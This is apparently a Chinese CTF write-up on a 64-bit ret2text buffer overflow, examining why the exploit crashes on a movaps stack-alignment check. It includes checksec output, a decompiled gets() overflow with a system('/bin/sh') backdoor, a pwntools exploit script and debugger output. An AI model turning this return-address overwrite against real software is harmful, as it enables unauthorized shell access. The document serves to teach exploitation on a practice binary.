堆栈对齐——关于64位程序ret2text失败的溯源

1
2
3
4
5
6
7
8

❯ checksec ./pwn1
[*] '/home/dx3906/CTF/problem/pwn/buu/rip/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

1
2
3
4
5

❯ ./pwn1
please input
abc
abc
ok,bye!!!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets((__int64)s, (__int64)argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}
// backdoor
int fun()
{
  return system("/bin/sh");
}
// fun 汇编
.text:0000000000401186 fun             proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186                 push    rbp
.text:0000000000401187                 mov     rbp, rsp
.text:000000000040118A                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401191                 call    _system         ; Call Procedure
.text:0000000000401196                 nop                     ; No Operation
.text:0000000000401197                 pop     rbp
.text:0000000000401198                 retn                    ; Return Near from Procedure
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun             endp

1
2
3
4
5
6

from pwn import *
context(log_level="debug", arch="amd64", os="linux")
p = process("./pwn1")
payload = b'a'*23 + p64(0x401186)
p.sendlineafter(b"please input\n",payload)
p.interactive()

1
2
3

0x7fad5eadef43    movaps xmmword ptr [rsp + 0x50], xmm0
; 报错
; Program received signal SIGSEGV, Segmentation fault.

1
2

pwndbg> p $rsp+0x50
$1 = (void *) 0x7fffd26e4508